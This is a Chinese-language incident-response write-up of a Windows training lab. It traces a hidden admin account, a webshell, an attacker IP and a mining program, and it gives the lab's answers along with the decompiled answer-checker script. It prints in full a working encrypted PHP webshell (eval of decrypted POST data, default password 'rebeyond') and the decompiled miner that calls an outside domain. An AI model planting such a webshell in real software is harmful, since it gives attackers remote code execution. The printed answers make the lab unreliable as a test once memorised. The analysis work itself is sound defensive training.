前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
用户:
administrator
密码
Zgsf@admin.com
一、题目要求

二、应急响应总体思路
真实应急响应中,一般遵循以下顺序:
三、隐藏账户排查(问题 3)
3.1 为什么先查账户?
攻击者在 Web 入侵成功后,最稳定的持久化方式就是创建系统账户,这样即使 WebShell 被删,也能重新登录系统。
3.2 查看本地用户和组
使用图形界面方式:
Win + R → lusrmgr.msc
打开 “本地用户和组 → 用户”,查看所有用户

3.3 发现隐藏账户
在用户列表中发现一个明显异常用户:
hack168$
判断依据:
- 以 $ 结尾(Windows 中常用于隐藏账户)
- 非系统默认用户
- 明显人为创建
攻击者的隐藏账户名称:hack168$
用命令确认:
$net user hack168$
用户名 hack168$
全名
注释
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2024/2/26 23:01:13
密码到期 从不
密码可更改 2024/2/26 23:01:13
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2024/2/26 23:02:24
可允许的登录小时数 All
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
四、Web 服务排查与 WebShell 定位(问题 1)
4.1 确认 Web 环境
桌面存在 phpStudy / 小皮面板,说明该主机运行 Web 服务
通过浏览器访问本机 80 端口:
http://127.0.0.1
推断攻击者大概率通过 Web 上传漏洞 / Web RCE 入侵
phpStudy路径:

4.2 使用 D 盾扫描 Web 目录
对 www 目录使用 D 盾 WebShell 查杀工具扫描:
获得webshell路径:C:\\phpStudy_pro\\WWW\\content\\plugins\\tips\\shell.php

4.3 查看 WebShell 内容
打开 WebShell 文件,发现典型一句话木马结构,并在代码中直接写死了密码:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
$password = "rebeyond";
攻击者的 shell 密码:rebeyond
五、日志分析定位攻击者 IP(问题 2)
启动服务查看


5.1 为什么要看 Apache 日志?
既然确认是 WebShell 上传,那么攻击者的 IP 一定会出现在 Web 访问日志 中
5.2 Apache 日志路径
phpStudy 默认 Apache 日志路径:
C:\\phpstudy_pro\\Extensions\\Apache2.4.39\\logs\\
重点文件:
access.log
5.3 分析 access.log
打开 access.log,结合以下特征筛选:
- POST 请求
- 上传脚本
- 访问 WebShell 文件
- 请求参数异常
最终定位到攻击源 IP:
192.168.126.1

攻击者的 IP 地址:192.168.126.1

弱口令admin,123456能登录
六、挖矿行为确认与恶意程序定位
6.1 异常现象
在桌面操作过程中发现:
- 运行某个可疑程序后
- CPU 使用率瞬间 100%
这是非常典型的 挖矿行为特征
6.2 锁定挖矿程序


在隐藏账户 hack168$ 的目录中发现可疑文件:
Kuang.exe
运行即拉满 CPU,基本可以确认:该程序为挖矿木马
七、逆向挖矿程序,提取矿池域名(问题 4)
7.1 为什么要逆向?
挖矿程序一定要连接 矿池服务器,矿池地址通常:
- 写死在代码中
- 或以字符串形式存在
7.2 判断程序类型
使用 file / 观察行为后发现:
- Kuang.exe 为 PyInstaller 打包的 Python 程序

7.3 使用 PyInstaller 反编译
工具准备:
- pyinstxtractor.py
执行:
python pyinstxtractor.py Kuang.exe
成功解包,得到 .pyc 文件
7.4 反编译 pyc
将 Kuang.pyc 上传至 在线 pyc 反编译网站,还原为 .py 文件
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Kuang.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import multiprocessing
import requests
def cpu_intensive_task():
while True:
try:
requests.get('http://wakuang.zhigongshanfang.top', timeout=10)
except:
pass
if __name__ == '__main__':
cpu_count = multiprocessing.cpu_count()
processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
for process in processes:
process.start()
for process in processes:
process.join()
在源码中发现如下关键字符串:
http://wakuang.zhigongshanfang.top
这是挖矿程序连接的矿池地址
挖矿程序的矿池域名:wakuang.zhigongshanfang.top
八.逆向题目exe
步骤同上


# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: '解题.py'
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
print('公众号:知攻善防实验室')
print('欢迎使用知攻善防实验室-应急响应训练靶机解题系统')
print('在此之前,您应该获取到以下信息')
print('1.攻击者的shell密码')
print('2.攻击者的IP地址')
print('3.攻击者的隐藏账户名称')
print('4.攻击者挖矿程序的矿池域名')
num = input('你准备好了吗?(y or n)')
if num == 'y':
shellpass = input('请输入攻击者的shell密码:')
if shellpass == 'rebeyond':
print('题解正确!')
IPadd = input('请输入攻击者的IP地址')
if IPadd == '192.168.126.1':
print('题解正确!')
username = input('请输入攻击者的隐藏账户名称:')
if username == 'hack168' or username == 'hack168$':
print('题解正确!')
wakuang = input('请输入攻击者挖矿程序的矿池域名:')
if wakuang == 'wakuang.zhigongshanfang.top':
print('题解正确!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')
# return None
直接能逆出答案




